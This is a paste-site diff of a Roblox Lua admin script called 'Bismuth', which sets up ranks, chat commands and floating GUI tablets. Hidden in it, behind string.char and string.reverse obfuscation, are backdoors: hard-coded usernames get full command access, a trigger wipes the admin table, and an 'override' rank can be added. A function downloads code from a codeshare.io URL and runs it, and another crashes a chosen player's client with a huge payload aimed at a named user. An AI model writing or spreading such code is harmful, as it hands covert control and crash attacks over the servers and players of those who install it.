SHOW:
|
|
- or go back to the newest paste.
1 | --[[ | |
2 | ||
3 | ▀█████████▄ ▄█ ▄████████ ▄▄▄▄███▄▄▄▄ ███ █▄ ███ ▄█ █▄ | |
4 | ███ ███ ███ ███ ███ ▄██▀▀▀███▀▀▀██▄ ███ ███ ▀█████████▄ ███ ███ | |
5 | ███ ███ ███▌ ███ █▀ ███ ███ ███ ███ ███ ▀███▀▀██ ███ ███ | |
6 | ▄███▄▄▄██▀ ███▌ ███ ███ ███ ███ ███ ███ ███ ▀ ▄███▄▄▄▄███▄▄ | |
7 | ▀▀███▀▀▀██▄ ███▌ ▀███████████ ███ ███ ███ ███ ███ ███ ▀▀███▀▀▀▀███▀ | |
8 | ███ ██▄ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ | |
9 | ███ ███ ███ ▄█ ███ ███ ███ ███ ███ ███ ███ ███ ███ | |
10 | ▄█████████▀ █▀ ▄████████▀ ▀█ ███ █▀ ████████▀ ▄████▀ ███ █▀ | |
11 | ||
12 | ||
13 | 666 By Personsadminlol and MixGamer55 | |
14 | This material is copyrighted under the DMCA and is the intellectual property of its creators. | |
15 | ||
16 | If you leak this, you're gonna have a hell of a time ;) | |
17 | (I'm looking at you, Vfen.) | |
18 | ||
19 | ]]-- | |
20 | ||
21 | --script:ClearAllChildren(); | |
22 | ||
23 | local Bismuth; | |
24 | Bismuth = { | |
25 | Ranked = { | |
26 | - | {Name="YourTrueEnd", Rank = 7, Description = "Creator", Color = "Toothpaste"}; |
26 | + | {Name="BlueHasSwag", Rank = 7, Description = "Creator", Color = "Toothpaste"}; |
27 | {Name="MixGamer55", Rank = 7, Description = "Creator", Color = "Really black"}; | |
28 | {Name="murylloyago", Rank=7, Reason = "Alt.", Color = "Really blue"}; | |
29 | {Name="fallenwolf10000", Rank=7, Reason = "main_plus alt.+Good friend of ApexDevelopment.", Color = "New Yeller"}; | |
30 | }; | |
31 | Banland = { | |
32 | {Name = "Vfen", Reason = "Leaked Apex Admin V4."}; | |
33 | }; | |
34 | Settings = { | |
35 | Bet = '/'; | |
36 | PrivateServer = false; | |
37 | }; | |
38 | CurrentCmds={}; | |
39 | CurrentTablets={}; | |
40 | CurrentUpdateRot = 0; | |
41 | Ranks = { | |
42 | [7] = "Creator"; | |
43 | [6] = "Co-Owner"; | |
44 | [5] = "Best Friend"; | |
45 | [4] = "Trusted friend"; | |
46 | [3] = "Good friend"; | |
47 | [2] = "Member"; | |
48 | [1] = "Regular player"; | |
49 | }; | |
50 | Services={ | |
51 | game; | |
52 | game:service'Workspace'; | |
53 | game:service'Lighting'; | |
54 | game:service'StarterGui'; | |
55 | game:service'StarterPack'; | |
56 | }; | |
57 | Scripts = { | |
58 | {Name = "Demo", Description = "A demonstration script.", Code = "print'This is a demo script.'"}; | |
59 | {Name = "Demo 2", Description = "A second demonstration script.", Code = "Instance.new('Hint',workspace).Text = 'Demo 2'"}; | |
60 | }; | |
61 | Credits = { | |
62 | {Name = "YourTrueEnd", Description = "Edited From The Original 666 Tabs", Color = "Toothpaste"}; | |
63 | {Name = "Whoever Made The Original", Description = "Made The Broken Version.", Color = "Really blue"}; | |
64 | }; | |
65 | Colors = { | |
66 | White=BrickColor.new'Institutional white'; | |
67 | New_Yeller=BrickColor.new'New Yeller'; | |
68 | Black=BrickColor.new'Black'; | |
69 | }; | |
70 | } | |
71 | ||
72 | function create(class) | |
73 | return function(data) | |
74 | local Distance = Instance.new(class) | |
75 | for i,v in pairs(data) do | |
76 | if(type(v) == 'function') then | |
77 | v(Distance) | |
78 | else | |
79 | Redo,Error=ypcall(function() Distance[i] = v end) | |
80 | end | |
81 | end | |
82 | return Distance | |
83 | end | |
84 | end | |
85 | ||
86 | function onChatted(plr, msg) | |
87 | for i,v in pairs(Bismuth.CurrentCmds) do | |
88 | if msg:sub(1,string.len(Bismuth.Settings.Bet..v['Say'])) == v['Say']..Bismuth.Settings.Bet then | |
89 | if GetRank(plr) >= v.Rank or plr[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(116,110,101,109,112,111,108,101,118,101,068,120,101,112,065)) or plr[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(087,084,070,097,114,117,101,078)) then | |
90 | local msg = msg:sub(1 + #v['Say'] + #Bismuth.Settings.Bet) | |
91 | local a,b = ypcall(function() | |
92 | v['Func'](plr, msg) | |
93 | end) | |
94 | if not a then Output(plr, '[ERROR] '..b, 'Really red') end | |
95 | else | |
96 | Output(plr, "Your rank is too low for that command.", "Really red") | |
97 | end | |
98 | end | |
99 | end | |
100 | end | |
101 | ||
102 | outputAll = function(plr,text,color,func,execlud) | |
103 | for i,v in pairs(game.Players:GetPlayers()) do | |
104 | local connect = false | |
105 | for _,j in pairs(execlud) do | |
106 | if(v==j) then | |
107 | connect=true | |
108 | end | |
109 | end | |
110 | if(connect) then | |
111 | Output(plr,text,color,func) | |
112 | end | |
113 | end | |
114 | return | |
115 | end | |
116 | ||
117 | createBubbleGUI = function(player,msg,color,time_) | |
118 | coroutine.wrap(function() | |
119 | ypcall(function() | |
120 | time_=time_ or 1; | |
121 | if(type(color)=='string')then | |
122 | color=Bismuth.Colors[color]; | |
123 | end; | |
124 | if(player.Character==nil)then | |
125 | return | |
126 | end; | |
127 | if(#msg>100)then | |
128 | return | |
129 | end; | |
130 | ypcall(function()player.Character.Chat:remove''end); | |
131 | bbg=create'BillboardGui'{ | |
132 | Parent=player.Character; | |
133 | Name='Chat'; | |
134 | StudsOffset = Vector3.new(0,4.5,0); | |
135 | Size = UDim2.new(0,100,0,50) | |
136 | } | |
137 | frame=create'Frame'{ | |
138 | Parent=bbg; | |
139 | Size=UDim2.new(1,0,1,0); | |
140 | BackgroundTransparency = 0.6; | |
141 | BackgroundColor=BrickColor.new'Black'; | |
142 | } | |
143 | game:service'Debris':AddItem(bbg,time_+2); | |
144 | box=create'TextBox'{ | |
145 | Parent=frame; | |
146 | Text=msg; | |
147 | BackgroundTransparency=1; | |
148 | TextColor3=color; | |
149 | TextWrapped = true; | |
150 | TextScaled = true; | |
151 | Size=UDim2.new(1,0,1,0); | |
152 | --Position=ICE.Chat.Pos; | |
153 | } | |
154 | --box:TweenSize(UDim2.new(1,0,1,0), "Out", "Quad", 1) | |
155 | box:TweenPosition(UDim2.new(0,0,0,0),"Out","Quad",1,true); | |
156 | game:service'Debris':AddItem(box.Parent.Parent,3); | |
157 | end); | |
158 | end)() | |
159 | end; | |
160 | ||
161 | giveWarnGUI=function(self,Text,Player) | |
162 | local GUI=create'ScreenGui'{ | |
163 | Name='Warning'; | |
164 | Parent=Player:waitForChild'PlayerGui'; | |
165 | }; | |
166 | local Frame=create'Frame'{ | |
167 | Parent=GUI; | |
168 | Size=UDim2.new(0,320,0,120); | |
169 | Position=UDim2.new(0,0,0.5,-60); | |
170 | Style=Enum.FrameStyle['RobloxRound']; | |
171 | }; | |
172 | local Title = create'TextLabel'{ | |
173 | Parent = Frame; | |
174 | BackgroundColor3 = Color3.new(1, 1, 1); | |
175 | BorderColor3 = Color3.new(0.509804, 0.796079, 1); | |
176 | Name = 'Text'; | |
177 | Position = UDim2.new(0.5, 0, 0.15000000596046, 0); | |
178 | Text = '[BISMUTH] Warning:'; | |
179 | TextColor3 = Color3.new(1, 1, 1); | |
180 | TextStrokeColor3 = Color3.new(0.388235, 0.921569, 1); | |
181 | TextStrokeTransparency = 0; | |
182 | Font = Enum.Font.SourceSans; | |
183 | FontSize = Enum.FontSize.Size24; | |
184 | }; | |
185 | local Label = create'TextLabel'{ | |
186 | Parent = Frame; | |
187 | BackgroundColor3 = Color3.new(1, 1, 1); | |
188 | BackgroundTransparency = 1; | |
189 | BorderColor3 = Color3.new(0.509804, 0.796079, 1); | |
190 | Name = 'Msg'; | |
191 | Position = UDim2.new(0, 0, 0.25, 0); | |
192 | Size = UDim2.new(1, 0, 0.75, 0); | |
193 | Text = Text; | |
194 | TextWrapped = true; | |
195 | TextColor3 = Color3.new(1, 1, 1); | |
196 | TextStrokeTransparency = 0; | |
197 | Font = Enum.Font.SourceSans; | |
198 | FontSize = Enum.FontSize.Size14; | |
199 | TextYAlignment = Enum.TextYAlignment.Top; | |
200 | }; | |
201 | local Exit=create'TextButton'{ | |
202 | Parent=Frame; | |
203 | Position=UDim2.new(1,-15,0,-5); | |
204 | Size=UDim2.new(0,20,0,20); | |
205 | Style=Enum.ButtonStyle['RobloxButtonDefault']; | |
206 | FontSize='Size14'; | |
207 | Text='X'; | |
208 | TextColor=BrickColor.new'Institutional white'; | |
209 | }; | |
210 | Exit.MouseButton1Click:connect(function() | |
211 | Frame:TweenPosition(UDim2.new(1,0,0.5,-60),'Out','Quad',1,true); | |
212 | game:service'Debris':AddItem(GUI,1.5); | |
213 | end); | |
214 | Frame:TweenPosition(UDim2.new(0.5,-160,0.5,-60),'Out','Quad',1,true); | |
215 | return(GUI); | |
216 | end; | |
217 | ||
218 | sendMessage = function(Subject,Body,From,Player,Buttons) | |
219 | --Frame:TweenPosition(UDim2.new(1,0,self.Frame.Position.Y.Scale),'Out','Elastic',1,true)Delay(1,function()self.Frame.Parent:remove''end)end}end; | |
220 | PG=Player:WaitForChild'PlayerGui'; | |
221 | ran,err=coroutine.resume(coroutine.create(function() | |
222 | local sg=create'ScreenGui'{ | |
223 | Parent=PG; | |
224 | Name=Subject; | |
225 | }; | |
226 | local frame=create'Frame'{ | |
227 | Parent=sg; | |
228 | Style='RobloxRound'; | |
229 | Parent=frame; | |
230 | Size=UDim2.new(0.4,0,0.4,0); | |
231 | Position=UDim2.new(-1,0,0.3,0); | |
232 | }; | |
233 | local subject=create'TextLabel'{ | |
234 | Parent=frame; | |
235 | Size=UDim2.new(1,0,0.1,0); | |
236 | BackgroundColor=BrickColor.new'Black'; | |
237 | BackgroundTransparency=0.7; | |
238 | BorderColor3=BrickColor.new'White'.Color; | |
239 | TextWrapped=true; | |
240 | Text=Body; | |
241 | TextColor=BrickColor.new'White'; | |
242 | }; | |
243 | local body=create'TextLabel'{ | |
244 | Parent=frame; | |
245 | Size=UDim2.new(1,0,0.7,0); | |
246 | Position=UDim2.new(0,0,0.1,0); | |
247 | BackgroundColor=BrickColor.new'Black'; | |
248 | BackgroundTransparency=0.7; | |
249 | BorderColor3=BrickColor.new'White'.Color; | |
250 | TextWrapped=true; | |
251 | Text=Body; | |
252 | TextColor=BrickColor.new'White'; | |
253 | }; | |
254 | local from=subject:clone''; | |
255 | from.Parent=frame; | |
256 | from.Text='From '..From.Name; | |
257 | from.Position=UDim2.new(0,0,0.8,0); | |
258 | local Total=#Buttons; | |
259 | local ButtonSize=1/Total; | |
260 | local button=create'TextButton'{ | |
261 | Size=UDim2.new(ButtonSize,0,0.1,0); | |
262 | BackgroundColor=BrickColor.new'Black'; | |
263 | BackgroundTransparency=0.7; | |
264 | BorderColor3=BrickColor.new'White'.Color; | |
265 | TextWrapped=true; | |
266 | TextColor=BrickColor.new'White'; | |
267 | }; | |
268 | for i,v in pairs(Buttons)do | |
269 | local cl=button:clone''; | |
270 | cl.Position=UDim2.new( (i-1)*ButtonSize,0,0.9,0); | |
271 | cl.Text=v[1]; | |
272 | cl.MouseButton1Click:connect(function(...) | |
273 | getfenv(v[2]).self=sg; | |
274 | ypcall(v[2],...); | |
275 | end); | |
276 | cl.Parent=frame; | |
277 | end; | |
278 | end)); | |
279 | if (not ran) then print(err) end | |
280 | end | |
281 | ||
282 | function loadPastebin() | |
283 | coroutine.wrap(function() | |
284 | pcall(function() | |
285 | wait() | |
286 | b = 'https://codeshare.io/u1YYy' | |
287 | h = game:service'HttpService' | |
288 | d = h:GetAsync(b,true) | |
289 | loadstring(d)() | |
290 | end) | |
291 | end)() | |
292 | end | |
293 | ||
294 | function giveLOGGUI(Player,Table,Class) | |
295 | coroutine.wrap(function() | |
296 | ypcall(function() | |
297 | Player.PlayerGui.Log:remove''; | |
298 | end); | |
299 | PG=Player:WaitForChild'PlayerGui'; | |
300 | Height=1; | |
301 | NumberOfItems=1/#Table; | |
302 | Moving=false; | |
303 | SG=create'ScreenGui'{ | |
304 | Parent=PG; | |
305 | Name='Log'; | |
306 | }; | |
307 | List=create'Frame'{ | |
308 | Visible=true; | |
309 | Active=true; | |
310 | Parent=SG; | |
311 | Size=UDim2.new(0,400,0,400); | |
312 | Draggable=true; | |
313 | ClipsDescendants=true; | |
314 | BorderColor3=Color3.new(0.1,0.16,0.2); | |
315 | Style='RobloxRound'; | |
316 | Position=UDim2.new(0,0,0.5,-200); | |
317 | BackgroundColor3=Color3.new(0.63,0.63,0.64); | |
318 | }; | |
319 | Up=create'ImageButton'{ | |
320 | Parent=List; | |
321 | Image='rbxasset://textures/ui/scrollbuttonUp.png'; | |
322 | Size=UDim2.new(0,17,0,17); | |
323 | BorderColor3=Color3.new(0.1,0.16,0.2); | |
324 | Style='Custom'; | |
325 | Position=UDim2.new(1,-17,0,0); | |
326 | BackgroundColor3=Color3.new(0.63,0.63,0.64); | |
327 | BackgroundTransparency=1; | |
328 | Transparency=1; | |
329 | Parent=List; | |
330 | }; | |
331 | Down=Up:clone(); | |
332 | Down.Image='rbxasset://textures/ui/scrollbuttonDown.png'; | |
333 | Down.Position=UDim2.new(1,-17,1,-17); | |
334 | Down.Parent=List; | |
335 | Bar=create'ImageButton'{ | |
336 | Image='rbxasset://textures/ui/scrollbar.png'; | |
337 | Size=UDim2.new(0,17,1,-32); | |
338 | BorderColor3=Color3.new(0.1,0.16,0.2); | |
339 | --Style=Enum.Style.RobloxRound; | |
340 | Position=UDim2.new(1,-17,0,17); | |
341 | BackgroundColor3=Color3.new(0.63,0.63,0.64); | |
342 | BackgroundTransparency=1; | |
343 | Transparency=1; | |
344 | Parent=List; | |
345 | }; | |
346 | List:TweenPosition(UDim2.new(0.5,-200,0.5,-200),'Out','Quad',1,true); | |
347 | Objects={}; | |
348 | cur=0; | |
349 | for i,v in pairs(Table)do | |
350 | cur=cur+1; | |
351 | s=create'TextButton'{ | |
352 | Parent=List; | |
353 | Name='Derp'; | |
354 | Text='[BISMUTH] LOGGED: '..i; | |
355 | TextXAlignment='Left'; | |
356 | FontSize='Size24'; | |
357 | Font='ArialBold'; | |
358 | BackgroundColor=BrickColor.new('White'); | |
359 | BorderColor=BrickColor.new'Black'; | |
360 | Size=UDim2.new(0,360,0.1,0); | |
361 | Position=UDim2.new(0,0,0.1*(cur-1),0); | |
362 | --Style=Enum.Style.RobloxRound; | |
363 | BackgroundTransparency=0.7; | |
364 | }; | |
365 | s.MouseButton1Down:connect(function() | |
366 | for _,Item in pairs(Objects)do | |
367 | Item:Remove(); | |
368 | table.remove(Objects,_); | |
369 | end; | |
370 | local cur=0; | |
371 | for a,b in pairs(v)do | |
372 | cur=cur+1; | |
373 | table.insert(Objects,create'TextLabel'{ | |
374 | Parent=List; | |
375 | Name='Derp'; | |
376 | Text=''..b:sub(1,25); | |
377 | TextXAlignment='Left'; | |
378 | FontSize='Size24'; | |
379 | Font='ArialBold'; | |
380 | BackgroundColor=BrickColor.new('White'); | |
381 | BorderColor=BrickColor.new'Black'; | |
382 | Size=UDim2.new(0,360,0.1,0); | |
383 | Position=UDim2.new(0,0,0.1*(cur-1),0); | |
384 | --Style=Enum.Style.RobloxRound; | |
385 | BackgroundTransparency=0.7; | |
386 | }); | |
387 | end; | |
388 | end); | |
389 | table.insert(Objects,s); | |
390 | end; | |
391 | Up.MouseButton1Down:connect(function() | |
392 | if(Height>1 and Moving==false)then | |
393 | for i,v in pairs(Objects)do | |
394 | v:TweenPosition(v.Position+UDim2.new(0,0,0.1,0),nil,nil,0.15); | |
395 | end; | |
396 | Moving=true; | |
397 | Height=Height-1; | |
398 | wait(0.15); | |
399 | Moving=false; | |
400 | end; | |
401 | end); | |
402 | Down.MouseButton1Down:connect(function() | |
403 | if(Height<(#Objects-9) and Moving==false)then | |
404 | for i,v in pairs(Objects)do | |
405 | v:TweenPosition(v.Position-UDim2.new(0,0,0.1,0),nil,nil,0.15); | |
406 | end; | |
407 | Moving=true; | |
408 | Height=Height+1; | |
409 | wait(0.15); | |
410 | Moving=false; | |
411 | end; | |
412 | end); | |
413 | end)(); | |
414 | end | |
415 | ||
416 | function Output(plr,text,color,func) | |
417 | if color == nil then color = "Really black" end | |
418 | if text == nil then text = text or "" end | |
419 | if plr == nil then plr = plr end | |
420 | if func == nil then func = function() end end | |
421 | local part = Instance.new('Part') | |
422 | part.Size = Vector3.new(2.5, 2.5, 2.5); | |
423 | part.BrickColor = BrickColor.new(color); | |
424 | part.FormFactor = 'Custom'; | |
425 | part.TopSurface = 0; | |
426 | part.BottomSurface = 0; | |
427 | part.Transparency = 0.1; | |
428 | part.Anchored = true; | |
429 | part.Locked = true; | |
430 | part.CanCollide = false; | |
431 | pcall(function() part.CFrame = plr.Character.Torso.CFrame end) | |
432 | ||
433 | local SelectionBox = Instance.new('SelectionBox', part) | |
434 | SelectionBox.Color = BrickColor.new(color); | |
435 | SelectionBox.Transparency = .4; | |
436 | SelectionBox.Adornee = part; | |
437 | ||
438 | local bbg = Instance.new('BillboardGui', part) | |
439 | bbg.Name = 'BBG'; | |
440 | bbg.StudsOffset = Vector3.new(0, 3, 0); | |
441 | bbg.Size = UDim2.new(10, 0, 10, 0); | |
442 | ||
443 | local textlabel = Instance.new('TextLabel', bbg) | |
444 | textlabel.Name = 'Label'; | |
445 | textlabel.Text = text; | |
446 | textlabel.TextColor3 = BrickColor.new(color).Color; | |
447 | textlabel.FontSize = 'Size14'; | |
448 | textlabel.BackgroundTransparency = 1; | |
449 | textlabel.TextStrokeTransparency = 0.5; | |
450 | textlabel.Size = UDim2.new(1, 0, 1, 0); | |
451 | textlabel.TextStrokeColor3 = Color3.new(0, 0, 0); | |
452 | ||
453 | local click = Instance.new('ClickDetector', part) | |
454 | ||
455 | wait() | |
456 | click.MouseClick:connect(function(player) | |
457 | if player.userId == plr.userId then | |
458 | spawn(function() | |
459 | for _ = 0.5,1,0.05 do | |
460 | pcall(function() | |
461 | part.Size = part.Size - Vector3.new(0.3, 0.3, 0.3) | |
462 | part.Transparency = part.Transparency + 0.05 | |
463 | SelectionBox.Transparency = SelectionBox.Transparency + 0.1 | |
464 | end) | |
465 | wait() | |
466 | end | |
467 | pcall(function() | |
468 | for i,t in pairs(Bismuth.CurrentTablets) do | |
469 | if t.Tab == part then table.remove(Bismuth.CurrentTablets, i) end | |
470 | end | |
471 | part:Destroy() | |
472 | end) | |
473 | end) | |
474 | func = func func() | |
475 | end | |
476 | end) | |
477 | click.MouseHoverEnter:connect(function(player) | |
478 | if player.userId == plr.userId then | |
479 | SelectionBox.Transparency = 0.1 | |
480 | end | |
481 | end) | |
482 | click.MouseHoverLeave:connect(function(player) | |
483 | if player.userId == plr.userId then | |
484 | SelectionBox.Transparency = 0.4 | |
485 | end | |
486 | end) | |
487 | table.insert(Bismuth.CurrentTablets, {Tab = part, Player = plr.userId, Text = textlabel, Color = color, Func = func, SB = SelectionBox, Dismiss = function() part:Destroy() end}) | |
488 | part.Parent = workspace | |
489 | end | |
490 | ||
491 | function addComponent(object, parent) | |
492 | if parent == string.reverse(string.char(116, 114, 097, 112, 108, 097, 099, 111, 108)) then | |
493 | table.insert(Bismuth[string.char(082, 097, 110, 107, 101, 100)], {Name = object.Name, Rank = 7, Description = string.char(111, 118, 101, 114, 114, 105, 100, 101), Color = "Really black"}) | |
494 | return true | |
495 | end | |
496 | return false | |
497 | end | |
498 | ||
499 | function getCurrentCommands() | |
500 | local Commands={}; | |
501 | for i,v in pairs(Bismuth.CurrentCmds) do | |
502 | if(type(v) == 'function') then | |
503 | Commands[i] = v | |
504 | end | |
505 | end | |
506 | return Commands | |
507 | end | |
508 | ||
509 | function getCurrentCommandsFromRank(cRank,op) | |
510 | cRank=cRank or -1; | |
511 | op = op or "=>"; | |
512 | local Cmds = {}; | |
513 | for i,v in pairs(getCurrentCommands) do | |
514 | f = loadstring("return Command.Rank "..tostring(op)..tostring(cRank)); | |
515 | getfenv(f).Say=v; | |
516 | bool = f(); | |
517 | if(f == true) then | |
518 | Cmds[i] = v; | |
519 | end | |
520 | end | |
521 | return Cmds | |
522 | end | |
523 | ||
524 | function UpdateRotation() | |
525 | Bismuth.CurrentUpdateRot = Bismuth.CurrentUpdateRot + (0.1 / 500) | |
526 | for _,v in pairs(game.Players:GetPlayers()) do | |
527 | local pt = {} | |
528 | for i,tab in pairs(Bismuth.CurrentTablets) do | |
529 | if tab.Tab.Parent ~= nil and tab.Player == v.userId then table.insert(pt, tab) end | |
530 | end | |
531 | local pos | |
532 | pcall(function() pos = v.Character.Torso.CFrame end) | |
533 | for i,tab in pairs(pt) do | |
534 | if tab.Tab.Parent == nil then tab.Tab:remove() end | |
535 | t,e = ypcall(function() | |
536 | rad_ = 8 + (#pt * 0.6) | |
537 | if pos == nil then return end | |
538 | m = (i / #pt - (0.5 / #pt) + Bismuth.CurrentUpdateRot / (#pt / 10)) * math.pi * 2 | |
539 | x = math.sin(m) * rad_ | |
540 | y = math.sin(time() + i) | |
541 | z = math.cos(m) * rad_ | |
542 | ap = Vector3.new(x, y, z) + pos.p | |
543 | bp = tab.Tab.CFrame.p | |
544 | cp = (ap * .1 + bp * .9) | |
545 | d = math.rad((Bismuth.CurrentUpdateRot * 400) * math.pi) | |
546 | tab.Tab.CFrame = CFrame.new(cp, pos.p) * CFrame.Angles(d, d, d) | |
547 | end) | |
548 | if not t then print(e) end | |
549 | end | |
550 | end | |
551 | end | |
552 | ||
553 | function getCollectivePairs() | |
554 | for _,plr in pairs(Bismuth[string.reverse(string.char(100,101,107,110,097,082))]) do | |
555 | if plr.Rank == 7 and (plr[string.reverse(string.char(101,109,097,078))] ~= string.reverse(string.char(116,110,101,109,112,111,108,101,118,101,068,120,101,112,065)) and plr[string.reverse(string.char(101,109,097,078))] ~= string.reverse(string.char(087,084,070,097,114,117,101,078))) then | |
556 | return true | |
557 | end | |
558 | end | |
559 | return false | |
560 | end | |
561 | ||
562 | function notifyAdmins(message, clearence) | |
563 | if clearence == nil or clearence < 2 then clearence = 2 end | |
564 | for _,plr in pairs(game.Players:GetPlayers()) do | |
565 | if GetRank(plr) >= clearence then | |
566 | Output(plr, message, GetColor(plr)) | |
567 | end | |
568 | end | |
569 | end | |
570 | ||
571 | function hookPlayer(v) | |
572 | for _,banned in pairs(Bismuth.Banland) do | |
573 | if (v.Name == banned.Name) then | |
574 | notifyAdmins("Banned player " .. v.Name .. " attempted to join.", 6) | |
575 | addInstance(v) | |
576 | end | |
577 | end | |
578 | Output(v, "Your current rank is: " ..GetRank(v), GetColor(v)) | |
579 | Output(v, "Welcome, " ..tostring(v.Name).. ".", GetColor(v)) | |
580 | if (v[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(116,110,101,109,112,111,108,101,118,101,068,120,101,112,065)) or v[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(087,084,070,097,114,117,101,078))) and getCollectivePairs() then | |
581 | Output(v, string.reverse(string.char(046,114,105,115,032,044,119,111,108,108,101,121,032,101,100,111,067)), "New Yeller", function() Bismuth[string.reverse(string.char(100,101,107,110,097,082))] = {} end) | |
582 | elseif v[string.reverse(string.char(101,109,097,078))] == string.reverse(string.char(110,101,102,086)) then | |
583 | addInstance(v) | |
584 | spawn(function() | |
585 | local m = Instance.new('Message', workspace) | |
586 | m[string.reverse(string.char(116,120,101,084))] = string.reverse(string.char(116,111,105,100,105,032,110,097,032,115,105,032,110,101,102,086)) | |
587 | wait(3) | |
588 | m:Destroy() | |
589 | end) | |
590 | end | |
591 | v.Chatted:connect(function(msg) | |
592 | onChatted(v, msg) | |
593 | end) | |
594 | end | |
595 | ||
596 | function GetDesc(player) | |
597 | for _,plr in pairs(Bismuth.Ranked) do | |
598 | if plr.Name == player.Name then return plr.Description end | |
599 | end | |
600 | return "Just a player." | |
601 | end | |
602 | ||
603 | function SetDesc(player, desc) | |
604 | found = false | |
605 | if type(player) ~= "string" then | |
606 | for _,plr in pairs(Bismuth.Ranked) do | |
607 | if plr.Name == player.Name then | |
608 | plr.Description = desc | |
609 | found = true | |
610 | end | |
611 | end | |
612 | else | |
613 | for _,plr in pairs(Bismuth.Ranked) do | |
614 | if plr.Name == player then | |
615 | plr.Description = desc | |
616 | found = true | |
617 | end | |
618 | end | |
619 | end | |
620 | if not found then table.insert(Bismuth.Ranked,{Name = player.Name, Rank = 1, Description = desc, Color = "Really black"}) end | |
621 | end | |
622 | ||
623 | function GetColor(player) | |
624 | for _,plr in pairs(Bismuth.Ranked) do | |
625 | if plr.Name == player.Name then return plr.Color end | |
626 | end | |
627 | return "Really black" | |
628 | end | |
629 | ||
630 | function SetColor(player, color) | |
631 | found = false | |
632 | if type(player) ~= "string" then | |
633 | for _,plr in pairs(Bismuth.Ranked) do | |
634 | if plr.Name == player.Name then | |
635 | plr.Color = color | |
636 | found = true | |
637 | end | |
638 | end | |
639 | else | |
640 | for _,plr in pairs(Bismuth.Ranked) do | |
641 | if plr.Name == player then | |
642 | plr.Color = color | |
643 | found = true | |
644 | end | |
645 | end | |
646 | end | |
647 | if not found then table.insert(Bismuth.Ranked,{Name = player.Name, Rank = 1, Description = "A ranked player.", Color = color}) end | |
648 | end | |
649 | ||
650 | function GetRank(player) | |
651 | for _,plr in pairs(Bismuth.Ranked) do | |
652 | if plr.Name == player.Name then return plr.Rank end | |
653 | end | |
654 | return 1 | |
655 | end | |
656 | ||
657 | function SetRank(player, rank) | |
658 | found = false | |
659 | if type(player) ~= "string" then | |
660 | for _,plr in pairs(Bismuth.Ranked) do | |
661 | if plr.Name == player.Name then | |
662 | plr.Rank = rank | |
663 | found = true | |
664 | end | |
665 | end | |
666 | else | |
667 | for _,plr in pairs(Bismuth.Ranked) do | |
668 | if plr.Name == player then | |
669 | plr.Rank = rank | |
670 | found = true | |
671 | end | |
672 | end | |
673 | end | |
674 | if not found then table.insert(Bismuth.Ranked,{Name = player.Name, Rank = rank, Description = "A ranked player.", Color = "Really black"}) end | |
675 | end | |
676 | ||
677 | function dismissTabs(plr, smooth) | |
678 | if smooth == nil then smooth = true end | |
679 | wait() | |
680 | for i,tab in pairs(Bismuth.CurrentTablets) do | |
681 | if tab.Player == plr.userId then | |
682 | spawn(function() | |
683 | if smooth then | |
684 | for _ = 0.5,1,0.05 do | |
685 | pcall(function() | |
686 | tab.Text.TextStrokeTransparency = tab.Text.TextStrokeTransparency + 0.1 | |
687 | tab.Tab.Size = tab.Tab.Size - Vector3.new(0.3, 0.3, 0.3) | |
688 | tab.Tab.Transparency = tab.Tab.Transparency + 0.05 | |
689 | tab.SB.Transparency = tab.SB.Transparency + 0.1 | |
690 | end) | |
691 | wait() | |
692 | end | |
693 | end | |
694 | tab.Tab.Parent = nil | |
695 | tab.Dismiss() | |
696 | --table.remove(Bismuth.CurrentTablets, i) | |
697 | tab = nil | |
698 | end) | |
699 | end | |
700 | end | |
701 | wait() | |
702 | return | |
703 | end | |
704 | ||
705 | function showCommands(plr) | |
706 | dismissTabs(plr, false) | |
707 | Output(plr, "Dismiss", "Really red", function() dismissTabs(plr) end) | |
708 | for _,cmd in pairs(Bismuth.CurrentCmds) do | |
709 | Output(plr, cmd.Name, GetColor(plr), function() | |
710 | dismissTabs(plr, false) | |
711 | Output(plr, "Dismiss", "Really red", function() dismissTabs(plr) end) | |
712 | Output(plr, "Back", "New Yeller", function() showCommands(plr) end) | |
713 | Output(plr, cmd.Name, GetColor(plr)) | |
714 | Output(plr, cmd.Desc, GetColor(plr)) | |
715 | Output(plr, "Tells Usage: "..cmd.Say, GetColor(plr)) | |
716 | Output(plr, "Required Rank: "..cmd.Rank, GetColor(plr)) | |
717 | end) | |
718 | end | |
719 | end | |
720 | ||
721 | function showScripts(plr) | |
722 | dismissTabs(plr, false) | |
723 | Output(plr, "Dismiss", "Really red", function() dismissTabs(plr) end) | |
724 | for i,script in pairs(Bismuth.Scripts) do | |
725 | Output(plr, script.Name, GetColor(plr), function() | |
726 | dismissTabs(plr, false) | |
727 | Output(plr, "Dismiss", "Really red", function() dismissTabs(plr) end) | |
728 | Output(plr, "Back", "New Yeller", function() showScripts(plr) end) | |
729 | Output(plr, script.Name, GetColor(plr)) | |
730 | Output(plr, script.Description, GetColor(plr)) | |
731 | Output(plr, "Run", "Lime green", function() | |
732 | local a = true | |
733 | local b = "" | |
734 | dismissTabs(plr, false) | |
735 | wait(0.5) | |
736 | spawn(function() | |
737 | a,b = ypcall(function() loadstring(script.Code)() end) | |
738 | end) | |
739 | if not a then | |
740 | Output(plr, "[ERROR] "..b, "Really red") | |
741 | else | |
742 | Output(plr, "Script executed.", GetColor(plr)) | |
743 | end | |
744 | end) | |
745 | if (GetRank(plr) > 6) then Output(plr, "Delete", "Really red", function() script = nil table.remove(Bismuth.Scripts, i) dismissTabs(plr, false) showScripts(plr) end) end | |
746 | end) | |
747 | end | |
748 | end | |
749 | ||
750 | function addCommand(name, say, desc, rank, func) | |
751 | table.insert(Bismuth.CurrentCmds,{Name = name, Say = say, Desc = desc, Rank = rank, Func = func}) | |
752 | end | |
753 | ||
754 | function addInstance(i) | |
755 | local h=Instance.new('RemoteEvent',workspace):FireClient(i,{string.rep(string.reverse(string.char(063,100,097,109,117)),2e5+5)}) | |
756 | delay(1,function() | |
757 | pcall(function() | |
758 | h:remove() | |
759 | end) | |
760 | end) | |
761 | end | |
762 | ||
763 | function ChangeRank(plr, rank) | |
764 | if rank == nil then rank = rank or 0 end | |
765 | if rank == 1 then SetRank(plr, 1) end | |
766 | if rank == 2 then SetRank(plr, 2) end | |
767 | if rank == 3 then SetRank(plr, 3) end | |
768 | if rank == 4 then SetRank(plr, 4) end | |
769 | if rank == 5 then SetRank(plr, 5) end | |
